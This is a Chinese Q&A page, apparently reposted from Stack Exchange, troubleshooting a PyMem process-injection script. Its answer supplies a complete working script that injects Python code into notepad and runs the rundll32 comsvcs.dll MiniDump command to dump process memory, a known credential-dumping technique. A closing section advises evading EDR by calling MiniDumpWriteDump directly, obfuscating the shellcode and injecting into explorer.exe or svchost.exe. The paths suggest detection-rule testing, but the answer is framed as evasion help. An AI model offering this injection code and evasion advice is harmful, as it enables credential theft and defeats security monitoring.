You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

基于PyMem的进程注入脚本异常问题排查及EDR规避咨询

基于PyMem的进程注入脚本异常问题排查及EDR规避咨询

看起来你遇到的问题挺典型的:PyMem注入的shellcode里,文件写入逻辑正常跑,但MiniDump相关的os.system命令完全没动静——既没生成dump文件,也没触发EDR拦截提示。咱们一步步拆解问题,然后给你调整脚本:

一、核心问题:硬编码的PID(988)

这是最致命的错误:你在shellcode里写死了PID是988,但每次启动的notepad进程PID都是动态变化的!单独测试MiniDump命令时,你用的是当时目标进程的有效PID,但注入时用固定值988,直接导致rundll32找不到对应的进程,自然啥都不会发生,连EDR都没机会触发拦截。

必须先解决:动态获取你启动的notepad进程的PID,然后传入shellcode。

二、次要问题:字符串转义与执行上下文

  1. 路径转义问题:你写的路径里用了单个\,在Python字符串里这是转义字符,虽然文件写入逻辑碰巧能跑(因为\T、\p不是Python的有效转义符,会被自动解析为普通字符),但rundll32的路径可能因为转义问题出问题——稳妥的做法是用原始字符串(前缀r)或者双反斜杠\\来表示路径。
  2. 进程被过早终止:你的脚本在注入shellcode后立刻notepad.kill(),很可能shellcode还没来得及执行完MiniDump命令,进程就被干掉了,必须给足够的执行时间。
  3. os.system的局限性:os.system无法捕获执行结果(返回码、错误信息),出问题了根本不知道是路径错了、PID错了还是被拦截了,建议换成subprocess来调试。

三、修改后的完整脚本

我把上述问题都修复了,还加了调试日志功能,你可以直接测试:

import pymem
import os
import subprocess
import time

# 启动notepad并动态获取它的PID
notepad = subprocess.Popen(['notepad.exe'])
target_pid = notepad.pid  # 拿到当前notepad的真实PID

pm = pymem.Pymem('notepad.exe')
pm.inject_python_interpreter()

# 用f-string动态传入PID,同时用原始字符串处理路径
shellcode = f"""\
import os
import subprocess

# 保留你的文件写入逻辑,修复路径转义
f = open(r"C:\\TestRule\\process_injection.txt", "w+")
f.write("pymem_injection")
f.close()

# 用subprocess替代os.system,捕获执行结果方便调试
try:
    # 动态传入notepad的PID,路径用原始字符串避免转义
    result = subprocess.run(
        r'rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump {target_pid} C:\\Users\\你的用户名\\dump.dmp full',
        shell=True,
        capture_output=True,
        text=True
    )
    # 把执行日志写入文件,方便排查问题
    with open(r"C:\\TestRule\\minidump_log.txt", "w+") as log_f:
        log_f.write(f"返回码: {result.returncode}\\n")
        log_f.write(f"标准输出: {result.stdout}\\n")
        log_f.write(f"错误输出: {result.stderr}\\n")
except Exception as e:
    # 捕获异常并写入日志
    with open(r"C:\\TestRule\\minidump_error.txt", "w+") as err_f:
        err_f.write(f"执行出错: {str(e)}\\n")
"""

pm.inject_python_shellcode(shellcode)

# 给shellcode足够的执行时间,别立刻杀进程
time.sleep(5)
notepad.kill()

四、额外调试与排查建议

  1. 检查EDR日志:有些EDR会静默拦截高危操作,不弹出提示只记录日志,去你的EDR后台搜notepad进程、rundll32、comsvcs.dll相关的记录,确认是否被拦截。
  2. 权限验证:把dump文件的路径改成用户目录(比如C:\\Users\\你的用户名\\dump.dmp),避免C盘根目录的写入权限问题——普通权限进程可能无法直接在C盘根目录创建文件。
  3. 测试MiniDump命令有效性:在修复PID后,你可以先在本地终端用动态获取的notepad PID测试MiniDump命令,确认能正常生成dump(或被EDR拦截),再放到注入脚本里。

五、关于EDR规避的小提示

如果你的目标是绕过EDR对MiniDump的拦截,单纯用PyMem注入到notepad可能不够,因为rundll32调用comsvcs.dll的MiniDump是EDR的经典检测规则。可以尝试:

  • 改用直接调用Windows API(比如MiniDumpWriteDump)来生成dump,而不是通过rundll32,减少特征暴露;
  • 对shellcode做简单的混淆(比如字符串加密、代码变形),降低被静态检测的概率;
  • 选择更隐蔽的注入目标进程(比如explorer.exe、svchost.exe),而不是notepad这种明显的测试进程。

备注:内容来源于stack exchange,提问作者Biswa

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.04.14 09:20:25